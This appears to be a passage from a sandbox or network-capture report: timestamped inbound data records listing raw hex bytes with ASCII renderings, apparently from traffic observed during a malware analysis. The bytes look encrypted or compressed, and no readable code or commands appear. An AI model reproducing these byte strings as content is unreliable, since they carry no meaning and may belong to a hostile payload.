2022-08-31 12:30:46 UTC	5147	IN	Data Raw: 13 be 05 88 23 ae 05 a0 23 fb 5e 86 25 b5 1d 55 63 36 35 32 65 25 3f 74 e8 f5 d2 d6 ed 2d fc a1 6f fe c2 45 51 d6 22 3c e7 a1 6b fe 26 36 10 57 e1 fc b4 86 16 70 e7 2a bc 02 b9 d4 22 b3 61 2c 72 cb 96 20 b7 dd c6 1c 8b 0f 3b 43 2b 91 8a e4 f8 36 2e f3 e1 2c 38 de 83 d7 c3 ba 6e a4 6c a4 4e eb ed 1f b2 6a 2e 99 87 65 b8 5d 92 13 30 a1 47 6b 40 54 99 02 a6 60 48 40 af e9 52 12 e3 b2 2b a6 d3 9c b7 fc 6f f0 0f c1 5e 9d e3 dc 90 d6 81 38 2d 6e 01 45 0a ce e8 2c 9a 77 2b 54 da e9 56 1f 28 8d e8 85 48 a4 6b f9 58 40 a7 8d 8d a2 50 12 eb 20 e4 68 70 70 a7 cd 6d 8c ab 5d 89 70 22 38 3f 2e 76 a6 fa a8 bd f7 8b 41 55 10 24 76 9b 46 18 d2 e5 5c 18 22 10 2c b3 db f9 e6 19 dc a2 22 69 c3 70 82 44 8e 77 d7 07 3e cb fe 16 a3 1f c3 0b ec 1f b5 43 93 29 34 cc d3 2b fb 34 Data Ascii: ##^%Uc652e%?t-oEQ"<k&6Wp*"a,r ;C+6.,8nlNj.e]0Gk@T`H@R+o^8-nE,w+TV(HkX@P hppm]p"8?.vAU$vF\","ipDw>C)4+4
2022-08-31 12:30:46 UTC	5147	IN	Data Raw: 2a 47 55 f8 d5 0b ef 7e d5 25 15 41 18 33 cd 7d 9c a2 13 39 a1 05 8d 2d 44 b2 48 e3 bd 8f 3e 7b e8 1c 9c 73 7c bb bb 77 a9 79 b8 75 a8 37 d5 46 2c ef 92 08 fa 61 ef 74 d4 44 23 fc a5 ed 38 35 d4 49 8a 59 c9 4b da f6 18 5f 18 28 69 12 d5 e9 0c c9 68 70 f5 26 cf c9 7a 50 bb 32 a4 19 27 0a e0 f5 ee 01 eb 5f bc 4f 69 20 67 07 a0 17 ad 0d 4d c8 b4 bf b2 c6 2e 3d 00 1a 43 ae d6 0e b7 48 f5 de 4f 2e d4 82 03 59 d8 51 74 32 e6 af ef e6 ef 94 fb 3b 55 a5 e2 17 c1 cd 12 60 97 51 6d d5 d5 d2 48 80 1d 6b a6 6a a7 81 4e 5b 6b 95 2c a7 d9 51 e2 70 ac 6c f6 3a a1 d4 c6 cd 89 6a 2c e1 e2 27 50 a3 90 2d bd de 4f 86 52 73 a7 e9 e0 ba 44 9d 78 ae 43 16 c3 8f 2e 26 60 35 a6 6f 77 04 1f f4 a8 a7 a3 6f f2 b4 c0 d5 7f bc f6 66 f1 b7 59 17 f8 32 b7 35 a7 2a 2c a7 95 23 9c 6c 0f Data Ascii: GU~%A3}9-DH>{s\|wyu7F,atD#85IYK_(ihp&zP2'_Oi gM.=CHO.YQt2;U`QmHkjN[k,Qpl:j,'P-ORsDxC.&`5owofY25,#l
2022-08-31 12:30:46 UTC	5151	IN	Data Raw: b6 91 8a cd 92 b6 59 d3 1d 5d c5 85 21 1e 5c 77 1a f2 1b b3 3b a3 b7 7f 03 81 35 41 d9 82 3c 12 a8 2e c2 e3 85 29 4d c2 65 ec 2f 6a a7 81 05 3c fc 64 af 81 61 c8 58 d2 2d 8d ca 80 d2 f4 56 3b 99 ba 1c 40 e7 7d ec e6 2e ff fd 68 01 cc a1 34 c6 1e ce 6e 17 4a 31 b7 c2 bf 5d 10 d5 f8 45 8b 1d b9 a1 1e 41 95 1f b1 68 62 f4 fc 2d ff 6b ca 49 77 f1 a1 f4 ec b1 0f 95 d6 49 b0 3a bc e4 70 1f 88 66 5b b3 93 f5 0d 4a a3 5c 5d 9a d6 e3 4f 82 38 f4 3c bc 6b 29 f8 f4 bb 9c e6 2c 50 67 5a 9f 68 89 65 3d ec eb 9d fb 70 90 74 f5 13 92 d0 d6 6c 93 7e 40 c2 dd 7f 81 4c 43 2c bf d5 cf 73 3f 3f 71 ac ac cd cd 52 28 9e 95 0d 36 ab 41 f2 60 d0 aa 4f 3f b5 06 9e 15 8d 74 f3 c7 62 1c 9f e1 ef 82 4b fd 7a e3 ba 73 f7 6b 1e 24 3a 51 a7 43 8e 34 89 33 d0 58 e2 1d a5 3e f9 d4 28 ad Data Ascii: Y]!\w;5A<.)Me/j<daX-V;@}.h4nJ1]EAhb-kIwI:pf[J\]O8<k),PgZhe=ptl~@LC,s??qR(6A`O?tbKzsk$:QC43X>(
2022-08-31 12:30:46 UTC	5152	IN	Data Raw: 85 41 46 e8 7b 37 c9 4f 24 82 fe 27 9b 6a 26 00 6d 49 1f de f2 91 49 d6 7c 93 71 6f 6c ad 1e 8c b1 2d a5 90 2c 18 a5 1c d3 69 f1 4b d3 6e d7 1e a2 1b d3 6c d5 1e a0 38 86 1e af 16 d3 63 da 1e ad 14 d3 61 f9 4b d3 66 df 1e aa 13 d3 64 dd 1e a8 cc ee 87 6c bc e5 36 43 50 5f 37 02 92 c6 f1 78 90 b1 2b 0a 0e 0c 79 78 67 aa ac 7c 78 67 a5 bd 7f 5e 11 49 0f c2 d7 75 5f 40 b8 34 6a e2 ce d9 14 c4 76 aa ea 34 43 14 32 b5 41 49 fe c8 65 5b f6 e9 9b 85 47 89 4b 85 44 8b 4a 85 14 d5 b4 57 48 d9 18 89 48 d9 18 8a 4b d8 5a ef 9e 45 75 fb 3b f1 3c 7b b7 53 2a 1c 6a 58 6a 5b 93 9c 4c 50 7a ac 98 00 bf eb f2 a3 6c fe ad a8 ad ac 3f 79 0d 16 de 7e fd 02 68 a7 6e fb 32 9b dd 69 2f af 31 7f bc f6 91 80 ed f0 e1 51 07 32 10 2c 03 4c 9c 64 aa d0 06 b0 d3 1a 22 e4 59 5c 63 8e Data Ascii: AF{7O$'j&mII\|qol-,iKnl8caKfdl6CP_7x+yxg\|xg^Iu_@4jv4C2AIe[GKDJWHHKZEu;<{S*jXj[LPzl?y~hn2i/1Q2,Ld"Y\c
2022-08-31 12:30:46 UTC	5156	IN	Data Raw: 09 da 0d eb e4 f7 02 a1 7f 9d 31 b3 7c ca a6 5b f5 b0 de 85 a6 d2 a9 d1 c5 14 92 41 50 14 53 1b 90 8f 76 eb bf 04 9f fe 93 08 a5 0a c5 e3 e7 5e 48 bd 99 83 d7 06 4f 9e 34 28 96 d9 f5 9f 6b ca 49 87 3b fa 3b 72 6f 28 ec bc b7 87 17 d3 55 77 1e 53 08 3f d6 6a b3 7a 3b 7f 63 db 54 d2 18 ee a1 e6 a0 7a 60 35 63 df 7f c1 59 e7 74 97 12 2c b9 9b 6d e1 79 c3 25 75 4d 94 de 86 48 d2 ac 40 35 4f 82 71 9e 54 99 54 34 ac 12 b2 93 14 eb c7 51 e3 d7 05 6c 2a bb 70 4a 75 a3 f8 a9 75 74 f8 33 9d 95 a7 4a 5f 3a ac 16 96 2c d5 1e c7 ff 16 b3 f3 ae 9f 26 1b d4 93 2c 93 da 47 5a 91 b0 db 8a ca 36 41 9f c6 8b 73 7c 81 5a 87 56 de 8a 46 f1 38 f5 41 51 d3 fe 95 5e 1e 12 5e 26 8a 28 61 98 72 90 33 6d 10 5c 8a 0c 21 d4 11 25 6b 0c 3c d5 7e b7 81 47 ea e7 60 8f 84 2a a8 66 c3 f0 Data Ascii: 1\|[APSv^HO4(kI;;ro(UwS?jz;cTz`5cYt,my%uMH@5OqTT4QlpJuut3J_:,&,GZ6As\|ZVF8AQ^^&(ar3m\!%k<~G`f
2022-08-31 12:30:46 UTC	5158	IN	Data Raw: a6 e4 d9 ef eb 4d 21 df 94 ec c8 f1 ff e3 29 26 79 48 a5 db 69 4a 86 fb a4 ab f1 4e 57 ca bc 82 05 39 18 52 34 85 90 c5 b5 82 57 7c ea 3f b7 4d 80 99 55 e3 6b 2e 2b e8 ee 2a 62 aa f2 49 f0 1a e5 31 8e 47 93 12 df 12 26 fe 2e f5 a9 1f df 6d 25 e8 d1 1b b7 f6 69 3f ff 15 9c 27 d8 53 ac 18 8d b5 51 36 5d 32 d8 51 9c c9 ff 1f da ba 76 bb 76 b7 7a c4 c5 a9 75 b7 b0 f8 69 3b 30 29 9b 93 db 14 a4 dd 1a 57 4f 88 c3 23 8b 5d 26 74 67 18 74 36 08 7b bb d3 93 6b 75 e1 fe 10 53 19 8f 6c 6f ac 7f 4d dc 90 9f 9d 40 8d 40 d4 5e 35 a3 0b 14 bb 43 5f 76 1b 41 2f 33 3e ab 6a ad a0 6d 60 ed 12 6c 92 23 95 a4 3b 96 60 0d 92 bf b7 ac bd b1 6d 02 ae 96 70 ba cc 05 69 b6 5f 74 82 b8 7b 25 2d 7b 45 70 a9 b2 ad a4 aa 8d f2 24 db 25 09 a2 36 9e 59 95 a0 ff ce 5c 9a 1f ad c3 7c 1f Data Ascii: M!)&yHiJNW9R4W\|?MUk.+*bI1G&.m%i?'SQ6]2Qvvzui;0)WO#]&tgt6{kuSloM@@^5C_vA/3>jm`l#;`mpi_t{%-{Ep$%6Y\\|
2022-08-31 12:30:46 UTC	5162	IN	Data Raw: 5d de d6 5d 94 aa 3a f4 e7 28 63 ec e4 aa a2 e5 3d 40 8c 0e ca f6 23 b8 01 f2 c1 b0 f6 51 cc 39 a4 eb 44 c9 65 eb e5 a9 21 ee 75 cd 36 65 94 a9 7c 29 28 ae 6e c9 44 cb 20 f2 4d 0b 91 2c a7 7e 77 c0 dc 2d 7a d1 c7 12 67 dc 5d 0e 2a e1 a1 e5 9d ee 55 69 e1 68 db 05 a6 b7 58 3a 93 7f 02 f2 8b be 50 51 20 20 ed 30 76 69 62 97 62 e2 d9 59 64 d2 e8 e7 b1 fc a5 6a c7 15 b7 49 09 3a 75 73 5d a6 fb 7f e7 43 2a 9a 5b 44 05 81 ad 09 1a 97 4f 67 b8 f4 02 eb 30 71 f5 6b 3b 22 eb 9e d0 e8 c8 c3 fe 33 d2 11 2c c3 84 69 29 08 e7 ee e7 0b a2 65 2b 40 87 c3 80 9a 97 ac 81 42 2d 72 5b 0a ac a6 02 08 0a a6 c6 64 12 37 42 6c d0 14 aa f4 d0 87 2e 91 d5 4e 0e e4 2d 98 dc 2e e5 6b d7 39 96 88 5b 1b d7 24 c2 c2 5c 1c af 04 ce b3 7e e8 55 1d a7 95 96 ab 21 c7 ee 00 12 36 51 79 ab Data Ascii: ]]:(c=@#Q9De!u6e\|)(nD M,~w-zg]UihX:PQ 0vibbYdjI:us]C[DOg0qk;"3,i)e+@B-r[d7Bl.N-.k9[$\~U!6Qy
2022-08-31 12:30:46 UTC	5164	IN	Data Raw: 6b 2f a2 9c e0 5e 00 88 8d d4 79 e9 b3 eb da 3a b3 98 99 02 af 82 47 6a cd 00 f4 09 90 2d 62 de 91 69 d6 38 53 9a 07 11 08 48 df e3 75 6a 67 fd 4d 83 96 af d1 c3 8e 63 2d 21 90 12 27 5e 54 ea 0c 90 3d 27 e6 ea 80 41 ab 7d e1 c3 4d 23 0a 91 6b f2 a6 34 a5 61 f9 54 57 73 22 7e df 84 b1 bb e6 fb 36 00 c9 86 8a 5f 66 31 46 31 c2 cf 87 57 a5 55 1b 66 9d 4a 34 23 2a 58 8e 3c 0b 18 a4 c8 7d 09 91 da 60 0d f7 0c 99 ae 4a 28 00 8d a5 2b 36 fb cd 05 4a 09 bc f9 27 59 d3 be 3c 11 07 39 64 a9 af f1 34 eb 45 98 36 82 4a 93 4d 1b a3 09 cf 11 b3 fc 36 d5 5a 28 10 9f e6 fb 36 00 65 c4 49 d3 69 f6 82 da 32 05 53 f1 be a0 36 28 6c e3 e6 fb 36 00 ca 85 05 37 27 fe a8 01 c7 84 33 87 2f a4 a4 de c1 05 07 a1 40 ff d5 b5 3a 2b 36 fb c7 60 c5 8a 95 4d ba 5c d5 c0 bd 1e 38 e0 c2 Data Ascii: k/^y:Gj-bi8SHujgMc-!'^T='A}M#k4aTWs"~6_f1F1WUfJ4#*X<}`J(+6J'Y<9d4E6JM6Z(6eIi2S6(l67'3/@:+6`M\8
2022-08-31 12:30:46 UTC	5168	IN	Data Raw: f9 24 92 ef 54 fe b0 98 58 0b 80 d3 58 a6 4f 3a 79 2f 32 3d 75 1e d6 e4 61 2b 22 e9 f2 35 2c 22 3f ba c9 d2 39 ff f1 95 2d 17 22 aa 0e 66 2e 0b 54 66 a7 1e 69 23 98 af 51 e3 5b e7 d6 a6 16 75 4f 68 a6 5a 98 d2 20 59 63 c7 c5 62 f1 b5 6b 23 43 8f 36 f6 a7 6a fe 6a 7b 2f 12 f8 73 59 7c 89 c2 2f b0 f0 f1 cf c1 e9 da b9 ff 1b a8 be 93 83 a3 6c b5 53 f9 11 22 9c d6 66 a8 d2 27 de e3 af 2c 9e d8 64 ab 16 a6 1b 20 ac fe b9 60 2f 1e 8f be 6a a7 00 fd 5a ff 58 dd 20 78 26 1a 16 af 51 56 af 2d 34 7e 68 a7 2a 81 37 6c 95 2a bd f2 62 c5 04 99 08 ff 61 df 12 a3 d2 d6 8c 04 01 7f b3 73 57 b5 c0 0f e8 ca 96 84 c9 3c 73 ab 07 c1 68 8d e6 23 4c aa e4 e4 a0 ac 45 84 67 89 16 d8 46 be 9b 42 67 84 b8 52 4d 86 6a a8 44 84 73 56 6a 4f 6b a7 d2 6b 78 c8 e7 01 a8 c7 ec 28 c1 84 Data Ascii: $TXXO:y/2=ua+"5,"?9-"f.Tfi#Q[uOhZ Ycbk#C6jj{/sY\|/lS"f',d `/jZX x&QV-4~h7lbasW<sh#LEgFBgRMjDsVjOkkx(
2022-08-31 12:30:46 UTC	5169	IN	Data Raw: 9d f7 c5 a5 87 e9 e3 64 85 22 54 6b 09 95 d2 ff b8 e0 0e 5e 97 a3 f6 2b a6 e1 e4 29 ee e9 cf bb d3 f5 77 d9 6a 37 09 af 61 cb cb 57 52 a1 e4 a8 e5 76 12 2a fb c2 5d 6c b6 d2 24 a4 1e 3e 1d 26 21 12 06 6b 94 99 8c c5 68 bc 0e 15 2c 17 22 c1 a3 6d 1f 99 4d 9b 58 6a db 2d 6f e2 e3 de eb 61 7c a6 43 34 5a 57 f8 68 a5 1e d0 60 5e 97 60 5e b3 a7 29 c0 75 ce da 50 54 69 3a 3c ef 19 66 c6 79 61 d4 79 41 91 14 d3 0b 5a c7 9d 8f 36 f7 b9 50 46 fc 6a 5a c3 73 65 2c b4 07 d1 b9 2f 75 e7 bd 7e 0d 8b e6 74 07 9c 24 f0 f2 27 24 e8 2e ec b5 46 9e fb 43 0e 5f 35 d0 0d c7 ad 45 d5 fa 4a 61 73 a7 c8 38 ac a3 28 6e 23 04 0a 58 f2 4a 70 34 0e 90 9b 3e 46 d4 35 2f d9 2e 56 12 9c 51 8d f1 db 26 d0 9e 1f c1 91 45 12 52 ec 7d 31 26 59 55 69 d4 9e e2 a8 06 0c 28 a4 f2 8a 54 64 ba Data Ascii: d"Tk^+)wj7aWRv*]l$>&!kh,"mMXj-oa\|C4ZWh`^`^)uPTi:<fyayAZ6PFjZse,/u~t$'$.FC_5EJas8(n#XJp4>F5/.VQ&ER}1&YUi(Td
2022-08-31 12:30:46 UTC	5173	IN	Data Raw: 30 ce ba 6b c3 6b c0 d5 1a 52 e8 58 26 9e 4c f4 e1 5b 0d 3c bc f6 ed e7 81 0c 9e cc 96 4c 69 f7 35 1f dd 67 29 dc ea ab 07 3d 11 1f 72 8b 0a 38 1a 0c ba 14 73 8b 3e f5 41 0c a1 df 99 ed 18 b4 81 b8 fe e7 67 24 d0 59 83 4b b9 36 2d ac b0 fe 9e 06 3d 6e d3 dd ab 6d 9d 25 a6 94 38 2d b2 2c 94 36 05 61 37 3d 38 7f 00 fd d3 6b cf c4 28 6e 72 ef bb 63 cf 4e 33 e2 27 44 ed 92 35 f9 4c 1e 76 3f 73 ff 0b 4a b8 d7 f3 ca fd da 30 cf 01 5d b3 70 e8 7a c8 1d 5b 92 11 9f a9 26 a7 ef f8 25 85 58 6a 60 a9 26 8f 47 ee c3 0c a1 6a a8 25 73 3f a1 e8 2a c8 4d ee ea 33 70 e8 62 1a d7 e9 27 08 40 7c 70 e8 22 50 dc ef 62 a2 69 a9 26 a3 eb 7e d5 05 ae 6a 2e 67 ae a7 67 ee 64 e8 5a a2 d7 6c 89 85 e5 97 df 6c 47 0d 22 2b 52 90 1d 98 ad 3a ff 62 c9 06 ad 47 cf 4b 6b b2 d6 68 21 9f Data Ascii: 0kkRX&L[<Li5g)=r8s>Ag$YK6-=nm%8-,6a7=8k(nrcN3'D5Lv?sJ0]pz[&%Xj`&Gj%s?*M3pb'@\|p"Pbi&~j.ggdZllG"+R:bGKkh!
2022-08-31 12:30:46 UTC	5175	IN	Data Raw: 9d 64 93 50 9d 50 f2 21 83 50 cd b5 41 03 9d af d6 3a 16 05 9d 64 93 50 a9 6e 97 50 54 cf cb 50 9d 50 03 9f ce 52 11 11 5f 60 de 37 e2 d3 7f d3 15 6b a4 b9 fe b6 1e bd 4b c2 4a e1 2e ca 01 c0 6b b1 d9 d3 d9 a5 eb da 21 15 16 05 01 7f 55 e8 0e a4 d4 3b 89 2e fd 00 ed 56 84 e7 2f ee 9a c0 26 00 5e 4a 4e 41 37 de 9a 9a 2c 03 ce 00 47 e8 7e d2 45 2b bb 32 70 ba c5 ea 47 0c fa 1c 22 d0 85 e8 fe b4 72 f8 b4 25 fa 78 66 f2 8d d8 ec 43 8f a2 e4 52 dd 28 1e 62 65 b3 87 74 03 00 be 29 82 0d e5 0b 77 a8 43 77 b9 7e 7c 72 e4 64 69 e8 e5 c3 7d 99 ad 74 e3 e2 bc 29 84 b2 0e 22 1c c5 2a e9 f1 b6 b9 f4 cd 52 7c e9 47 08 25 bf 7c e7 6a 7c de 5d 3b 74 d3 8a 24 e9 6e 21 25 fb 8f dd 2a de 13 e9 27 b3 7d e9 09 46 25 fb bf ed 2a f5 3b ea f3 ef 25 39 e4 b1 6d 38 6a a9 2a ef f2 Data Ascii: dPP!PA:dPnPTPPR_`7kKJ.k!U;.V/&^JNA7,G~E+2pG"r%xfCR(bet)wCw~\|rdi}t)"R\|G%\|j\|];t$n!%'}F%;%9m8j
2022-08-31 12:30:46 UTC	5179	IN	Data Raw: ee 28 bc ea 7a 8c 1c 16 ad d1 c3 18 c8 4c 2f e0 6d 5f e0 ce 89 2d 0b b3 82 40 66 a4 6a fe 6a 94 00 a5 81 fa 20 a6 6a d3 ac e2 8e a2 98 3c e7 2f 3d 7a ec 2c 66 29 e9 53 47 f4 b6 06 1d 24 90 1d 58 dc e8 d7 1a df 9d 4a 42 66 f9 07 99 ea ad 12 d5 a7 19 46 50 dd 24 7a f8 c0 f5 4c 60 2f fb d0 8a 30 19 c7 71 3f fa 45 10 ac 7a b6 f8 cb 93 32 06 d3 a4 3e 9e 04 ac 0a 81 3f 04 5e fd d0 05 88 9b 1a 97 21 c4 ee 3e 14 04 dc a5 84 ff db a0 1a 1c 6c 29 6c 82 08 a5 fd 6b 47 99 ee ef 4c 4d ee 50 95 5d f0 4e 98 a9 29 26 dd 2e 90 99 67 e1 71 cf 50 c9 fc 9c 77 db 29 c7 dc 13 e2 6d 36 b8 a1 af 24 aa 18 2e 44 cc c2 20 1f 83 2d 1d a5 6a 26 04 3c ac ea 9e d8 37 fa 26 88 14 ea 80 56 94 6b 13 d4 92 aa e6 35 d1 2f 4a a7 6a 84 b1 7c bb de a4 e2 76 30 29 ef 92 db 6e d3 16 bc 91 16 b3 Data Ascii: (zL/m_-@fjj j</=z,f)SG$XJBfFP$zL`/0q?Ez2>?^!>l)lkGLMP]N)&.gqPw)m6$.D -j&<7&Vk5/Jj\|v0)n
2022-08-31 12:30:46 UTC	5183	IN	Data Raw: 66 5c 47 eb f0 bb a1 73 ce df 95 9b b6 2c 61 e8 f0 16 21 2e 1c 3a 30 06 7f 40 ac 23 29 99 e2 07 df 3a 0a f7 a9 03 40 4c 31 fe 16 e0 fe 9a f2 de 46 59 ef 12 b2 d5 38 27 ff 53 8a 26 d2 75 85 22 6c c7 1d 3d 55 ec 51 31 27 e5 35 69 23 22 98 1b cc 36 ae 97 87 0f 84 15 49 60 56 02 17 21 eb 93 ca bb e2 44 89 11 32 7a 4e 6d a2 5d 2d c6 66 9b 60 94 6e 92 3f ca 14 fe c8 01 af f2 0c b1 62 6f 24 ef 04 5e 30 dd a9 a6 57 11 5e 64 b4 f2 84 7d 13 3f ea 86 ef d2 94 a6 94 95 62 8c 77 eb cf 40 63 bd 77 2b 26 6c 2a b3 8c b3 1e 35 6a 1b 66 a0 62 2b 32 4b 02 61 28 8e a5 42 fa 05 77 2f 92 fd b7 b6 0d cc 1e 99 24 1f fa 5b 3c c7 b5 7b b5 16 cd cf c8 09 c4 0d e7 ec 64 08 65 81 be 69 c4 b1 ae 6e 64 ef 7c c4 d6 5d 62 77 6c c1 2a e8 c0 23 73 d5 15 e6 99 4d 44 bf 74 99 d2 26 1e 18 77 Data Ascii: f\Gs,a!.:0@#):@L1FY8'S&u"l=UQ1'5i#"6I`V!D2zNm]-f`n?bo$^0W^d}?bw@cw+&l5jfb+2Ka(Bw/$[<{deind\|]bwl#sMDt&w
2022-08-31 12:30:46 UTC	5187	IN	Data Raw: c3 78 18 0a ad e1 76 58 51 d5 ed ae 36 3d b2 55 f5 fb c8 4a 06 da 3f f9 33 1f cd 34 c9 7d fa c2 ea e7 d5 c5 77 2c ec 1f 80 f7 e9 de d9 9a 48 72 e9 5d dc 9f 5c 66 13 09 4a d3 44 e3 68 91 0f 4a b3 2d ee 86 41 ac e7 7a 38 c3 35 ac 1c 96 10 38 71 eb ec ce e2 1c 71 34 e9 90 1d dd 01 ce 03 de bb 97 72 65 5d 53 a8 05 cb ad f1 37 c8 04 e8 e4 aa a5 f1 83 d7 60 ec ce 4a af 6a a7 e3 2e 2b ee 3c 3a 24 5a 18 aa 65 10 cb 32 13 6e 2c c4 1a c1 e9 5c 16 91 2d dd e6 e4 bc b7 6c c3 0e 2b ef ae e6 75 f7 e7 5d e9 a6 92 01 fb 5c cd 02 fb 3c a8 83 4b e9 de f4 b7 07 3d 13 34 03 d3 0a 30 13 32 71 dc e6 24 90 28 6b d9 e3 de e8 ab 1e a2 ec de c8 8a 7b 4a 92 96 22 44 38 9d 29 65 68 c5 0d a3 6e c0 62 a1 58 c2 87 05 36 07 61 de e4 d2 58 ee 65 ed 56 bb 63 b7 6a f0 39 8b 43 a5 61 24 b7 Data Ascii: xvXQ6=UJ?34}w,Hr]\fJDhJ-Az858qq4re]S7`Jj.+<:$Ze2n,\-l+u]\<K=402q$(k{J"D8)ehnbX6aXeVcj9Ca$
2022-08-31 12:30:46 UTC	5191	IN	Data Raw: dc 58 d5 2d e2 2f 70 ff a5 aa 6a ea 54 54 b4 82 41 36 27 71 f2 a6 67 f9 1f 30 e1 9e 58 6a dc 2e 12 13 20 2e 6c 86 c0 65 25 43 4f 20 68 04 87 e9 ab e9 a3 1d 55 2f 12 1d a5 e1 eb 2e 41 f7 5f e9 41 2f 7b 96 2e a5 d5 9e 50 55 24 e1 e9 30 38 a0 1e 1b 6b d7 7f c1 6d d7 d0 2e e8 43 e6 db f7 23 ea ec b3 f4 aa ed e4 27 f9 b0 26 e6 74 4a 2e 14 a0 db 5f ae 14 19 d9 a9 2e 34 df 6b Data Ascii: X-/pjTTA6'qg0Xj. .le%CO hU/.A_A/{.PU$08km.C#'&tJ._.4k
2022-08-31 12:30:46 UTC	5191	IN	Data Raw: 36 bc 9b 51 b6 54 c9 fa 66 40 cc 21 fc b7 aa af 1a c1 a4 d2 8a 94 1c 51 1c 2c c1 c9 e0 86 4e 43 4a 6d fe b0 5c 93 5a 3c 8f 1f df 26 66 e5 57 e3 e5 b6 ea 0f 1d 49 74 b9 79 dd 80 ff a1 eb 0a c3 e0 24 af 90 ab 63 a7 cc a7 b8 6a 2c 93 de 1f 7f ff 17 2c a7 e1 42 c7 6a a7 03 05 b7 c5 d4 2d 68 99 3f ba 12 97 1f 9a 16 a7 5e f5 84 18 1b 9c 1b 65 ac e1 1d e5 94 50 11 2c ea 2d a8 61 27 1b e6 75 96 30 ba a7 73 78 04 c1 f5 f6 71 d3 94 f3 fa e9 88 ed 09 ce c0 e0 be 37 a0 ed a3 64 59 5a db 81 7a dd 5c 1f 9d 1b 95 67 90 5f 98 cf c2 ab 6a 08 b7 0e 08 d9 b2 5e d3 37 3a 90 f9 73 7a fc b4 e2 de f6 89 27 1c 37 cb 4d 9e 33 6e ca a0 46 23 05 ca ea 21 2b e8 6d d6 d3 e3 06 f1 9f eb 14 9f 4f 32 d1 e3 d4 1b 50 f6 71 ff 5c f2 61 6e a5 3d 13 c2 ae 38 bd 8a 09 d1 1a 36 30 39 f4 2a 4c Data Ascii: 6QTf@!Q,NCJm\Z<&fWIty$cj,,Bj-h?^eP,-a'u0sxq7dYZz\g_j^7:sz'7M3nF#!+mO2Pq\an=8609*L
2022-08-31 12:30:46 UTC	5195	IN	Data Raw: e6 f8 ca 2a 60 40 a1 98 7a 1e 89 0a c2 f6 92 9f 3b d5 80 a4 b1 89 99 68 f3 cc 07 b5 a6 3a 34 e0 2d ef a2 ed 72 47 19 f7 37 72 52 2f f4 88 46 4f b6 66 03 ae 1e f3 1c fa 84 41 50 f3 f2 32 ca 77 9c 50 15 b8 7f 91 66 56 74 7f 3b a7 b8 e4 49 4e 66 39 77 a7 a6 59 56 dc 8b 3e 9d d3 ea e5 8b 0c 20 d7 ab d6 1b ad 47 a6 6f 7f ac fa 71 ac a3 1a 53 61 94 da e9 51 17 ab d1 51 98 4e 86 31 c7 2a 23 ee e0 0b 46 49 04 2a 6d d3 39 8a a0 13 3d 07 2f 61 6b 25 2e 61 51 7a ff d3 6c 9d b3 33 1f a7 8e 7b 97 65 ff 37 a9 f4 fa 61 96 7d ff d9 61 24 00 4f 1e 03 88 5d 99 8d 9a 33 17 17 33 41 93 2a 1a a5 9d 89 38 ed f0 a2 6b 31 a2 35 f5 13 2d a7 95 a7 e9 c8 86 bf 14 f8 16 ea 6d 2c 40 2e 3d c3 9e 4c 91 4d 98 4e db 05 f3 69 77 13 0d ac 5b 03 8f 43 5f b5 53 cb 05 ef 21 a0 01 91 30 a2 d2 Data Ascii: `@z;h:4-rG7rR/FOfAP2wPfVt;INf9wYV> GoqSaQQN1#FIm9=/ak%.aQzl3{e7a}a$O]33A8k15-m,@.=LMNiw[C_S!0
2022-08-31 12:30:46 UTC	5197	IN	Data Raw: 1f 47 48 40 b5 78 27 ce 6a cf eb 67 21 1e 0e 3c f0 b6 d5 18 1b b6 47 9e 58 5c 79 db 19 72 a7 cc 7d e9 61 a8 98 26 d4 1b 22 65 50 55 78 cb 6f ec ff 6b 3a 22 3c 85 0d b4 c0 06 34 88 be a5 80 6a a7 6a 2c 19 da 10 2c de 6a 98 2d 17 47 ab 0f e4 a8 c2 0f 64 22 af ed e5 69 27 26 e3 a6 e8 62 28 a7 5d 54 f5 d8 14 a4 f5 61 6e 27 c6 00 10 56 3d 7b 9f d1 5b e0 10 d7 1f 26 e0 46 f3 56 d7 99 1f f9 01 8d 04 c9 04 4b fa df 76 d1 00 a7 e3 28 84 a8 6b be 6a 78 c1 2a ef e0 a2 ab 01 c9 05 cd 66 f3 d9 01 ae 68 28 20 e9 67 ba 3e a5 e9 89 80 8d ac 74 58 54 5a e9 26 38 0a ea d8 1d 33 da 9e 04 2e fb 84 67 c6 b9 75 b3 55 11 68 24 3c 2c 12 81 b7 f3 28 e1 26 de 92 e3 b3 e2 b6 ad ed ee 2a 54 62 f6 c5 62 4f 12 b7 ff eb b8 ea f7 fd ae 4c 19 13 e9 36 6e a7 ff cd 62 c7 ba 07 77 b2 92 3a Data Ascii: GH@x'jg!<GX\yr}a&"ePUxok:"<4jj,,j-Gd"i'&b(]Tan'V={[&FVKv(kjxfh( g>tXTZ&83.guUh$<,(&TbbOL6nbw:
2022-08-31 12:30:46 UTC	5201	IN	Data Raw: cd a2 37 73 a1 87 26 2a 6b 67 7b c6 2c 9b 03 fa f4 63 69 18 d2 a7 68 a5 6a 4c 87 9a 97 1c 07 b0 e6 ea 0f 25 48 ce 04 f3 b2 c7 a1 50 be a8 65 04 6d 03 6f ea ca c0 36 b6 8a 06 d4 3b ca a6 ea 52 34 e6 04 f5 b5 1b 5e a3 3b 1b 7f 7a 49 ce a4 07 07 65 c5 a6 6e 66 a7 f4 f7 33 0e 6b 2b 21 52 e1 29 b2 10 cd 02 6f c5 a8 6a a7 e7 6c 0c d7 d2 fc c9 57 75 a7 34 47 22 25 36 b1 ab 5d 96 28 d7 2b 59 eb 2e 24 8a 78 3e 04 92 1c e5 36 fd 25 ea d5 93 68 26 b7 f1 dc 92 58 e1 da e0 dc 6c 2d 1a b2 3a f2 b9 26 3c b7 76 44 16 e2 8c bf 15 61 15 b9 4a 6e 16 7d d5 e8 06 54 f4 39 2f 74 d4 6c 69 98 75 a7 82 b0 15 27 59 62 9d 24 e2 52 a1 95 84 df da 87 68 a5 e8 24 32 75 e5 a5 ef e4 8a a7 1a 08 80 22 5b 2a 80 65 ee a4 17 55 13 0a 4d 6d fe 09 4d 67 3a cd 78 7d 55 c3 2a a6 33 4f ba cf 36 Data Ascii: 7s&kg{,cihjL%HPemo6;R4^;zIenf3k+!R)ojlWu4G"%6](+Y.$x>6%h&Xl-:&<vDaJn}T9/tliu'Yb$Rh$2u"[eUMmMg:x}U*3O6
